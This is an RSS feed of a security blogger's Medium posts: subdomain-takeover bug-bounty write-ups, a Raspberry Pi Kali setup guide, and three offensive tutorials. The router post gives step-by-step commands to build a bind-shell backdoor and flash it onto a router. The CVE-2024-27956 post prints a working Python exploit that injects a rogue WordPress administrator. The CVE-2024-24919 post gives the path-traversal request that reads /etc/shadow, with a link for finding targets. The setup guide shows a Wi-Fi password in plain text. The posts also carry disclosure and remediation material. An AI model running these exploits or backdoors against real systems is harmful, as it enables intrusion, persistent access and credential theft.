<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Md Nahid Alam🔥 on Medium]]></title>
        <description><![CDATA[Stories by Md Nahid Alam🔥 on Medium]]></description>
        <link>https://medium.com/@hackerronin?source=rss-8c1b0daf7bae------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*HtlHlLxH9ngvK8Q_AerI6w.jpeg</url>
            <title>Stories by Md Nahid Alam🔥 on Medium</title>
            <link>https://medium.com/@hackerronin?source=rss-8c1b0daf7bae------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 00:29:38 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@hackerronin/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[My approach of subdomain takeover that pointing to Fastly (DNS Hijacking)]]></title>
            <link>https://hackerronin.medium.com/my-approach-of-subdomain-takeover-that-pointing-to-fastly-dns-hijacking-6e6bdda84d7c?source=rss-8c1b0daf7bae------2</link>
            <guid isPermaLink="false">https://medium.com/p/6e6bdda84d7c</guid>
            <category><![CDATA[dns]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Md Nahid Alam]]></dc:creator>
            <pubDate>Thu, 18 Sep 2025 07:17:42 GMT</pubDate>
            <atom:updated>2026-10-19T18:54:19.501Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/628/0*DDEFaTkNyC0Lthj4.png" /></figure><p><em>I begin in the name of Almighty Allah.</em></p><p>Hello Hackers, I’m <strong>Nishan Faiyaz</strong>, also known in the hacking community as <strong>l1ackernishan or You can call me D3M0N…</strong>. Btw I’m a security enthusiast who spends most of my time bug hunting, penetration testing and develop website’s and android apps.</p><p><strong>My Approach</strong></p><p>I started subdomain enumeration to gather every possible domain for testing. When subdomain enum is done, I start manual inspecting DNS Record’s. Automated tools surfaced candidates, but a human review helped me catch subtle CNAME chains and provider fingerprints that scanners sometimes miss.</p><p>During that manual analysis one record jumped out: www.perfect-info.com had a CNAME pointing to k2.shared.global.fastly.net. That indicated the subdomain locate to Fastly’s Service. but didn’t necessarily have an active Fastly configuration for that hostname. Seeing a provider-owned CNAME like that is a classic indicator of a potential takeover path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ek01TeJz8vnLK8emATiwVQ.png" /></figure><p>I open the domain in my disposable browser and I saw a Fastly error page: <strong>“Fastly error: unknown domain: </strong><a href="http://www.perfect-info.com/"><strong>www.perfect-info.com</strong></a><strong>. Please check that this domain has been added to a service. Details: cache-sin-wsss1830097-SIN (151.101.2.49)”</strong>. That message is a clear fingerprint it confirms the CNAME points at Fastly’s edge (note the cache node and IP) but the domain itself isn’t configured on any Fastly service. In other words, traffic reaches Fastly’s network but Fastly has no record of that domain, which is exactly the condition that allows an attacker to claim the domain on Fastly and complete a takeover.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*CogO2naVWQb8R8kX" /><figcaption>DNS Records</figcaption></figure><p>To verify, I logged into Fastly’s control panel (manage.fastly.com), went to <strong>Create CDN → CDN</strong>, and attempted to claim www.perfect-info.com.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ar0r74CCuOfIPXO9Qw-8xg.png" /></figure><p>I already make a static webpage what hosted in my vps apache2 service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PFsHEE6EHVakbRfH" /><figcaption>p0c</figcaption></figure><p>Successfully showing my content in target domain www.perfect.info.com</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*kV8VwG8CbN6Zgqafnb0hXg.png" /></figure><p><strong>Important Note📌</strong></p><p>From my personal experience, Fastly almost never allows a successful subdomain takeover if the main domain is already registered on their platform. For example, let’s say I add sub.test.com in my Fastly account here sub is the subdomain and test.com is the main domain. Now, if another subdomain like vuln.test.com has a dangling CNAME pointing to Fastly, it might look vulnerable at first. But when I try to claim it, Fastly will unsuccessful the attempt because the parent domain test.com is already existing in Fastly service under someone else’s account. This means that even though the DNS record points to Fastly, the subdomain cannot be hijacked if the main domain is already in use on the platform. In short, Fastly enforces a domain-level protection mechanism where ownership of the main domain prevents attackers from claiming related subdomains, which is why most Fastly based takeovers fail despite the initial appearance of vulnerability.</p><h3>Timeline:</h3><p><em>📌 </em><strong><em>Reported:</em></strong><em> </em>August 13, 2025<em><br>✅ </em><strong><em>Triaged:</em></strong><em> Sep 11, 2025<br>🎁 </em><strong><em>Resolved: </em></strong><em>Sep 13, 2025</em></p><p><strong>Follow me on X</strong>: <a href="https://x.com/hackerronin">https://x.com/hackerronin</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6e6bdda84d7c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My Experience of Hacking Dutch Government (DNS Hijacking)]]></title>
            <link>https://hackerronin.medium.com/my-experience-of-hacking-dutch-government-dns-hijacking-d25239af5500?source=rss-8c1b0daf7bae------2</link>
            <guid isPermaLink="false">https://medium.com/p/d25239af5500</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[dutch-government]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[dns]]></category>
            <dc:creator><![CDATA[Md Nahid Alam]]></dc:creator>
            <pubDate>Sun, 31 Aug 2025 18:51:41 GMT</pubDate>
            <atom:updated>2026-10-19T18:53:57.374Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/534/0*u1p6Bw28EJE6g5jK.png" /></figure><p><em>I begin in the name of Almighty Allah.</em></p><p>Hello Hackers, I’m Faiyaz, also known in the hacking community as hackerronin <strong>or You can call me Ronin…</strong>. Btw I’m a security enthusiast who spends most of my time bug hunting, penetration testing and develop website’s and android apps.</p><p><strong>Story</strong><br> It all started around <strong>May 15, 2024</strong> when I saw a black T-shirt that instantly caught my attention. Printed on it were the words: <em>“I hacked the Dutch government and all I got was this lousy T-shirt.”</em> The line <em>“I hacked the Dutch government”</em> hit me hard it felt dammmm!!!, almost like a challenge. From that moment, I knew I wanted that t-shirt, not just as clothing but as proof that I had achieved something meaningful.</p><p>That’s when I decided to dive into the Dutch government’s bug bounty program. I even discussed it with my brother, <a href="https://www.facebook.com/0xmahamsec"><strong>Md. Farizul Islam Momin</strong></a><strong> (</strong><a href="https://hackerone.com/0xmahamsec"><strong>0xmahamsec</strong></a><strong>)</strong>, who shared some useful insights about how their program. Back then, I was still figuring out the world of bug bounty, often confused and impatient.</p><p>My first attempt wasn’t too exciting :(</p><p>I found <strong>Host Header Injection</strong> issue, but I couldn’t chain it into anything impactful. When I submitted it, the report was rejected. It was a small setback, but that moment became a key part of my journey. This background story that pushed me deeper into hacking and hunting.</p><p><strong>Breakthrough</strong></p><p>Fast forward to <strong>July 16, 2025</strong> this time I was mentally prepared. All the information overload I had been dealing with before was finally under control. With a clear head, I jumped back into the Dutch government’s program and began hunting again.</p><p>I started with <strong>recon</strong>, grab a domain list using <strong>subdomain enumeration</strong> to gather as many assets as I could. Then I used a resolver to filter out the active domains. From there, I manually checked each DNS record one by one.</p><p>That’s when an interesting domain caught my eye <strong><em>“meldingen.ilent.nl”</em></strong><em>.</em> While inspecting its DNS records using the dig command, I noticed a <strong>CNAME record</strong> pointing to host105.sslhosting.eu. Out of curiosity, I visited both meldingen.ilent.nl and host105.sslhosting.eu and surprisingly, both showed the same DNS error.</p><p>Digging further, I checked whether the parent domain sslhosting.eu was still registered. To my shock, I found that it was <strong>available</strong>. Without wasting time, I claimed the domain.</p><p>There were a few small technical hurdles after that, but I resolved them. I pointed the DNS <strong>A record</strong> of host105.sslhosting.eu to my own VPS running Apache2, and create a simple index.html file as a test page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hM6l82Pl0SAmJWZPt2Ygpg.png" /><figcaption>p0c</figcaption></figure><p>Finally, I opened a disposable browser and visited meldingen.ilent.nl. And then — <strong>BOOM!</strong> My content loaded directly under their subdomain.</p><p>Dns Record Check :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bjUtTga8-IsWDHyRz2xxhg.png" /><figcaption>p0c</figcaption></figure><p>On <strong>August 7, 2025</strong>, I received an email from them confirming that my report had been fixed and as a token of appreciation, they would be sending me a T-shirt as swag :”)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*Xoej6EL0MUFr3hqXotbo1Q.png" /></figure><h3>Timeline:</h3><p><em>📌 </em><strong><em>Reported:</em></strong><em> July 16 2025<br>✅ </em><strong><em>Triaged:</em></strong><em> July 17 2025<br>🎁 </em><strong><em>Swag Confirmation: </em></strong><em>Aug 7 2025</em><strong><em> </em></strong><em>(Swag is coming :D)</em></p><p><strong>Follow me on X</strong>: <a href="https://x.com/hackerronin">https://x.com/hackerronin</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d25239af5500" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reverse Router Firmware & Backdooring It…]]></title>
            <link>https://hackerronin.medium.com/reverse-router-firmware-backdooring-it-78ff442edb6c?source=rss-8c1b0daf7bae------2</link>
            <guid isPermaLink="false">https://medium.com/p/78ff442edb6c</guid>
            <category><![CDATA[hardware-hacking]]></category>
            <category><![CDATA[router]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Md Nahid Alam]]></dc:creator>
            <pubDate>Thu, 04 Jul 2024 04:17:13 GMT</pubDate>
            <atom:updated>2025-10-28T14:47:28.803Z</atom:updated>
            <content:encoded><![CDATA[<p><em>I begin in the name of Almighty Allah.</em></p><p>Router firmware is a critical component of any network infrastructure, and its security is often overlooked. As a hacker, understanding how to reverse engineer and backdooring router firmware. In this write-up, we will see the process of reverse engineering and backdooring a router firmware.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*uKH53FzgSExJcOMm.jpeg" /></figure><p><strong>Tools and Requirements</strong></p><ul><li>A Linux machine (Kali Linux)</li><li>Binwalk: A firmware analysis tool</li><li>Firmware-Mod-Kit (github.com/rampageX/firmware-mod-kit)</li></ul><p><strong>Step 1: Download your target router firmware</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N3Vsh0bkyoqBJ8U5FQ-1mw.png" /></figure><p><strong>Step 2: Unzip</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qtfQ-ixO_uZJyNp2m-CGjw.png" /></figure><p><strong>Step 3: Download Firmware-mod-kit</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q4yN-2o68_Sj7nx5SmvWng.png" /></figure><pre>git clone https://github.com/rampageX/firmware-mod-kit<br><br>sudo apt-get install git build-essential zlib1g-dev liblzma-dev python3-magic autoconf python-is-python3</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ox5y7AM6hoCjKUZjtFOw6w.png" /></figure><p><strong>Step 4: Extract the firmware</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZggmPyl94YQaECy7eEIL4A.png" /></figure><pre>firmware-mod-kit/extract-firmware.sh firmware.bin</pre><p><strong>Step 5: go to the rootfs folder</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hsStJaClZset3W0tOgPSIg.png" /></figure><p><strong>Step 6: Create backdoor by using metasploit</strong></p><p>Note: first check the firmware endian is little endian or other endian.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R8JX9wrRldDTcA7jJBd6eg.png" /></figure><pre>cd bin<br>msfvenom -p linux/mipsle/shell_bind_tcp LPORT=1337 -f elf &gt; backdoor<br>chmod 777 backdoor</pre><p><strong>Step 7: make backdoor execute</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S92xbSLpRorM4rlSeETuuw.png" /></figure><pre>cd ...<br>find . -name &quot;*.sh&quot; #this command will search all the .sh files<br>#add &quot;/bin/backdoor &amp;&quot; this line in .sh file that you finded</pre><p>Step 8: Rebuild the firmware</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m6I3tE3shu1qF9JFwop3Dg.png" /></figure><pre>firmware-mod-kit/build-firmware.sh</pre><p>Step 9: Firmware upload</p><ul><li>Go to admin panel and login</li><li>find firmware upgrade option</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/1*oK45sQ8jvVM05eqRQSJL-Q.png" /></figure><ul><li>Now upload your modified firmware…</li></ul><blockquote><strong>~$ Now its time to get access shell from router!</strong></blockquote><p>Step 9: Access Router Shell</p><blockquote>Run Metasploit</blockquote><pre>msfconsole<br>use exploit/multi/handler<br>set payload linux/mipsle/shell_bind_tcp<br>set LPORT 1337<br>set rhost 192.168.0.1<br>exploit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6mkJ3Ue1AUpPgYn_" /><figcaption>my backdoor running on port 40443</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=78ff442edb6c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2024–27956: SQL Injection Vulnerability in ValvePress Automatic (WP-Automatic)]]></title>
            <link>https://hackerronin.medium.com/cve-2024-27956-sql-injection-vulnerability-in-valvepress-automatic-wp-automatic-2222e696f1df?source=rss-8c1b0daf7bae------2</link>
            <guid isPermaLink="false">https://medium.com/p/2222e696f1df</guid>
            <category><![CDATA[exploit]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[wordpress]]></category>
            <dc:creator><![CDATA[Md Nahid Alam]]></dc:creator>
            <pubDate>Fri, 07 Jun 2024 13:15:44 GMT</pubDate>
            <atom:updated>2024-06-07T13:19:44.997Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>CVE-2024–27956 refers to a critical SQL injection (SQLi) vulnerability discovered in the WP-Automatic plugin, a popular content automation tool for WordPress websites. This vulnerability allows unauthenticated attackers to execute arbitrary SQL queries on the affected website’s database, potentially leading to complete website compromise.</p><h3>Technical Details</h3><p>The vulnerability resides within the user authentication mechanism of the WP-Automatic plugin. Specifically, it is present in one of the plugin’s core files responsible for handling user login requests. The code suffers from improper sanitization of user-provided input, allowing attackers to inject malicious SQL code into the login process.</p><h3>Attack Scenario</h3><h3>Crafting a Malicious Request</h3><p>An attacker can craft a specially crafted login request containing malicious SQL code. This code could be designed to achieve various malicious goals, such as:</p><ol><li><strong>Creating New Administrator Accounts:</strong> By injecting SQL queries that manipulate the WordPress user table, attackers can create new user accounts with administrator privileges.</li><li><strong>Stealing Sensitive Data:</strong> Malicious SQL queries can be used to extract sensitive information from the database, such as usernames, passwords (hashed or in plaintext depending on storage method), and website content.</li><li><strong>Uploading Web Shells:</strong> Injected SQL can potentially grant attackers the ability to upload malicious files like web shells to the server, allowing for persistent remote access.</li></ol><h3>Exploiting the Vulnerability</h3><p>When the crafted login request is submitted to the vulnerable plugin, the malicious SQL code bypasses the intended security measures and gets executed directly on the website’s database server.</p><h3>Gaining Control</h3><p>Depending on the attacker’s objectives, the injected SQL code can manipulate the database to grant them unauthorized access, steal sensitive data, or establish persistence on the compromised website.</p><h3>Impact</h3><p>A successful exploit of CVE-2024–27956 can have severe consequences for website owners, including:</p><ul><li><strong>Website Takeover:</strong> Attackers can gain complete control over the compromised website, allowing them to deface it, inject malicious content, or redirect visitors to phishing sites.</li><li><strong>Data Theft:</strong> Sensitive user information, website content, and other confidential data can be stolen by attackers.</li><li><strong>SEO Spam:</strong> Attackers might inject spam content into the website, negatively impacting its Search Engine Optimization (SEO) ranking.</li><li><strong>Malware Distribution:</strong> The compromised website can be used as a platform to distribute malware to unsuspecting visitors.</li></ul><h3>Exploitation (Proof of Concept)</h3><h3>Setting Up the Lab</h3><p>To demonstrate the proof of concept, we’ll set up a local environment hosting a WordPress instance with the vulnerable version of WP-Automatic Plugin installed and activated on it. Use the following docker-compose configuration to host the victim WordPress site on port 8080:</p><pre>version: &#39;3.1&#39;<br>services:<br>  wordpress:<br>    image: wordpress<br>    restart: always<br>    ports:<br>      - 8080:80<br>    environment:<br>      WORDPRESS_DB_HOST: db<br>      WORDPRESS_DB_USER: exampleuser<br>      WORDPRESS_DB_PASSWORD: examplepass<br>      WORDPRESS_DB_NAME: exampledb<br>    volumes:<br>      - wordpress:/var/www/html<br>  db:<br>    image: mysql:8.0<br>    restart: always<br>    environment:<br>      MYSQL_DATABASE: exampledb<br>      MYSQL_USER: exampleuser<br>      MYSQL_PASSWORD: examplepass<br>      MYSQL_RANDOM_ROOT_PASSWORD: &#39;1&#39;<br>    volumes:<br>      - db:/var/lib/mysql<br>volumes:<br>  wordpress:<br>  db:</pre><p>Start the Docker containers:</p><pre>docker-compose up</pre><p>Access your WordPress site on http://localhost:8080 and complete the installation.</p><h3>Exploit Script</h3><p>Here’s a Python script to exploit CVE-2024–27956 and create an administrator user:</p><pre>import requests<br>import sys<br><br>def makeRequest(payload, hash, url):<br>    host = url.split(&#39;/&#39;, 3)[2]<br>    headers = {<br>        &#39;Host&#39;: host,<br>        &#39;User-Agent&#39;: &#39;Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0&#39;,<br>        &#39;Accept&#39;: &#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8&#39;,<br>        &#39;Accept-Language&#39;: &#39;en-US,en;q=0.5&#39;,<br>        &#39;Accept-Encoding&#39;: &#39;gzip, deflate, br&#39;,<br>        &#39;Content-type&#39;: &#39;application/x-www-form-urlencoded&#39;,<br>        &#39;Connection&#39;: &#39;close&#39;,<br>        &#39;Upgrade-Insecure-Requests&#39;: &#39;1&#39;<br>    }<br>    data = {<br>        &#39;q&#39;: payload,<br>        &#39;auth&#39;: b&#39;\0&#39;,<br>        &#39;integ&#39;: hash<br>    }<br>    response = requests.post(url, data=data, headers=headers)<br>    return response<br><br>def helpUsage():<br>    print(&quot;[+] You must run the exploit passing the WordPress URL. \n[+] Example: python exploit.py http://website.com&quot;)<br>    quit()<br><br>def verifyArgs(argv):<br>    if len(sys.argv) != 2:<br>        helpUsage()<br><br>verifyArgs(sys.argv)<br>print(&quot;[+] Exploit for CVE-2024-27956&quot;)<br>domain = sys.argv[1]<br>url = domain + &#39;/wp-content/plugins/wp-automatic/inc/csv.php&#39;<br><br># First request (create user)<br>print(&quot;[+] Creating user eviladmin&quot;)<br>response = makeRequest(&quot;INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_status, display_name) VALUES (&#39;eviladmin&#39;, &#39;$P$BASbMqW0nlZRux/2IhCw7AdvoNI4VT0&#39;, &#39;eviladmin&#39;, &#39;eviladmin@gmail.com&#39;, &#39;http://127.0.0.1:8000&#39;, &#39;2024-04-30 16:26:43&#39;, 0, &#39;eviladmin&#39;)&quot;, &quot;09956ea086b172d6cf8ac31de406c4c0&quot;, url)<br>if &quot;Tampered query&quot; in response.text or &quot;invalid login&quot; in response.text or &quot;login required&quot; in response.text:<br>    print(&quot;[+] Error in the payload&quot;)<br>    quit()<br><br>if &quot;DATE&quot; not in response.text:<br>    print(&quot;[+] Not vulnerable&quot;)<br>    quit()<br><br># Second request (give permission)<br>print(&quot;[+] Giving eviladmin administrator permissions&quot;)<br>makeRequest(&quot;INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES ((SELECT ID FROM wp_users WHERE user_login = &#39;eviladmin&#39;), &#39;wp_capabilities&#39;, &#39;a:1:{s:13:\&quot;administrator\&quot;;s:1:\&quot;1\&quot;;}&#39;)&quot;, &quot;bd98494b41544b818fa9f583dadfa2bb&quot;, url)<br>if &quot;Tampered query&quot; in response.text or &quot;invalid login&quot; in response.text or &quot;login required&quot; in response.text:<br>    print(&quot;[+] Error in the payload&quot;)<br>    quit()<br>print(&quot;[+] Exploit completed!&quot;)<br>print(&quot;[+] Administrator created: eviladmin:admin&quot;)</pre><h3>Executing the Script</h3><p>Run the script with the URL of your hosted WordPress site:</p><pre>python3 exploit.py http://localhost:8080</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fNqFGWa1cW8fT8n8irXZQA.png" /></figure><p>Try logging into the admin panel using the newly created user eviladmin with the password admin.</p><h3>Remediation</h3><p>The developers of WP-Automatic have addressed this vulnerability in version 3.9.2.0. It is imperative to update the WP-Automatic plugin to this version or later as soon as possible. Additionally, website owners should consider the following measures:</p><ul><li><strong>Implement a Web Application Firewall (WAF):</strong> A WAF can help detect and block malicious traffic, including attempts to exploit SQL injection vulnerabilities.</li><li><strong>Maintain Strong Passwords:</strong> Enforce strong password policies for all WordPress user accounts, including administrator accounts.</li><li><strong>Regular Security Audits:</strong> Conduct regular security audits to identify and address potential vulnerabilities on the website.</li></ul><h3>Conclusion</h3><p>CVE-2024–27956 is a serious vulnerability that can be exploited by attackers to gain unauthorized access to websites using the WP-Automatic plugin. By promptly updating the plugin, implementing additional security measures, and maintaining good security hygiene, website owners can significantly reduce the risk of compromise.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2222e696f1df" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting CVE-2024–24919: Information Disclosure in Check Point Quantum Gateway]]></title>
            <link>https://hackerronin.medium.com/exploiting-cve-2024-24919-information-disclosure-in-check-point-quantum-gateway-6a5f8979e479?source=rss-8c1b0daf7bae------2</link>
            <guid isPermaLink="false">https://medium.com/p/6a5f8979e479</guid>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Md Nahid Alam]]></dc:creator>
            <pubDate>Sat, 01 Jun 2024 11:51:05 GMT</pubDate>
            <atom:updated>2024-06-01T11:51:05.267Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>In the rapidly evolving landscape of cybersecurity, vulnerabilities are discovered that can have far-reaching implications for organizations. One such vulnerability is CVE-2024–24919, an information disclosure flaw in Check Point Quantum Gateway. This vulnerability, identified by the researcher johnk3r, poses a significant risk by potentially allowing attackers to access sensitive information on internet-connected Gateways configured with IPSec VPN, remote access VPN, or mobile access software blade.</p><h3>Understanding CVE-2024–24919</h3><p><strong>CVE-2024–24919</strong> is classified as a high-severity vulnerability due to its potential impact on affected systems. This vulnerability can be exploited to disclose information that should otherwise be protected, potentially leading to further compromise of the affected systems.</p><h4>Technical Details</h4><p>The vulnerability resides in the Check Point Quantum Security Gateway, particularly when configured with certain VPN features. An attacker can craft a specific HTTP POST request to the /clients/MyCRL endpoint. By manipulating the request, the attacker can navigate the file system and access restricted files such as /etc/shadow, which contains hashed passwords of system users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wd1rqF31wgd6K1pvNHzSKg.png" /></figure><p>The specific HTTP request that can trigger this vulnerability is as follows:</p><pre>POST /clients/MyCRL HTTP/1.1<br>Host: {{Hostname}}<br><br>aCSHELL/../../../../../../../etc/shadow</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jclx3ch7AY5iVISaEQzPHw.png" /></figure><p>If successful, the response will contain contents from the /etc/shadow file, indicated by the presence of entries such as root: and nobody: in the body of the response, along with a 200 OK status.</p><p>this is the query for search — <a href="https://app.netlas.io/responses/?q=http.body%3A%22Check%20Point%20SSL%20Network%20Extender%22%20host_type%3Adomain&amp;page=1&amp;indices=">https://nt.ls/MqxNV</a></p><h3>Mitigation and Recommendations</h3><p>Organizations using Check Point Quantum Security Gateway are urged to review their configurations and apply patches or updates provided by Check Point. According to Check Point’s advisory, steps to mitigate this vulnerability include:</p><ol><li><strong>Updating Firmware</strong>: Ensure that the firmware is updated to the latest version, which includes patches for known vulnerabilities.</li><li><strong>Configuring Security Policies</strong>: Review and tighten security policies to restrict unauthorized access.</li><li><strong>Monitoring and Alerts</strong>: Implement monitoring and alerting mechanisms to detect unusual activities that might indicate an exploitation attempt.</li></ol><p>For more detailed guidance, refer to the official advisories from Check Point:</p><ul><li><a href="https://labs.watchtowr.com/check-point-wrong-check-point-cve-2024-24919/">Check Point Wrong Check Point: CVE-2024–24919</a></li><li><a href="https://support.checkpoint.com/results/sk/sk182337">Check Point Support Advisory SK182337</a></li></ul><h3>Conclusion</h3><p>CVE-2024–24919 highlights the critical importance of maintaining up-to-date security practices and the need for vigilant monitoring of network devices. By understanding and addressing such vulnerabilities, organizations can better protect their sensitive information and maintain robust cybersecurity defenses.</p><p>For security professionals, keeping abreast of such vulnerabilities and their mitigations is crucial. Ensure your systems are secure, monitor for signs of exploitation, and respond swiftly to protect your organization’s assets.</p><p>By addressing CVE-2024-24919 promptly and effectively, organizations can mitigate the risks associated with this vulnerability and safeguard their information from potential attackers.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6a5f8979e479" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Raspberry Pi Zero W Kali Linux Setup headlessly #1]]></title>
            <link>https://hackerronin.medium.com/raspberry-pi-zero-w-kali-linux-setup-headlessly-1-f28e10bc9a47?source=rss-8c1b0daf7bae------2</link>
            <guid isPermaLink="false">https://medium.com/p/f28e10bc9a47</guid>
            <category><![CDATA[raspberry-pi-zero-w]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[single-board-computer]]></category>
            <category><![CDATA[raspberry-pi]]></category>
            <dc:creator><![CDATA[Md Nahid Alam]]></dc:creator>
            <pubDate>Sun, 14 Apr 2024 13:56:59 GMT</pubDate>
            <atom:updated>2024-04-14T13:56:59.960Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iWGsLmCp200b3OaecMsuYg.jpeg" /></figure><p><strong>Setting up a Raspberry Pi Zero W with Kali Linux headlessly involves configuring the operating system on the microSD card before inserting it into the Pi.</strong></p><p><em>Here are the general steps:</em></p><p><strong>1. Download Kali Linux Image:</strong></p><p>Visit the official Kali Linux website (<a href="https://www.kali.org/downloads/">https://www.kali.org/downloads/</a>) and download the Raspberry Pi image. Make sure to select the correct version for your Raspberry Pi Zero W.</p><p><strong>2. Write Kali Linux Image to microSD Card:</strong></p><p>Use a tool like BalenaEtcher or Raspberry Pi Imager to write the Kali Linux image to your microSD card.</p><p><strong>3. Enable SSH:</strong></p><p>To enable SSH on Kali Linux by default, create an empty file named “ssh” in the boot partition of the microSD card, command: “touch ssh”. This allows you to connect to the Raspberry Pi Zero W remotely.</p><p><strong>4. Configure Wi-Fi:</strong></p><p>Create a `wpa_supplicant.conf` file in the boot partition to configure Wi-Fi. Replace `your_SSID` and `your_password` with your actual Wi-Fi SSID and password.</p><p><strong>step 1:</strong></p><blockquote>command: nano wpa_supplicant.conf</blockquote><p><strong>step 2:</strong></p><blockquote>network={<br> ssid=”Nahid0x1”<br> #psk=”Mbangladesh22&quot; #your password<br> psk=7b4a1e55f50bfe7c3e0265a5110d12a11c0a28f689c97fb48d9a5a555de73f01 #your password<br>}</blockquote><p>save and close the file!</p><p>now insert your sdcard to your raspberry pi zero w and power on, wait for 7–10 minute for booting the system. after 7–10 minute later now you search your raspberry pi zero w ip address (if connected with home wifi so go to the admin panel and check the device lists) now type this command: ssh kali@kali-raspberry-pi-zero-w</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f28e10bc9a47" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>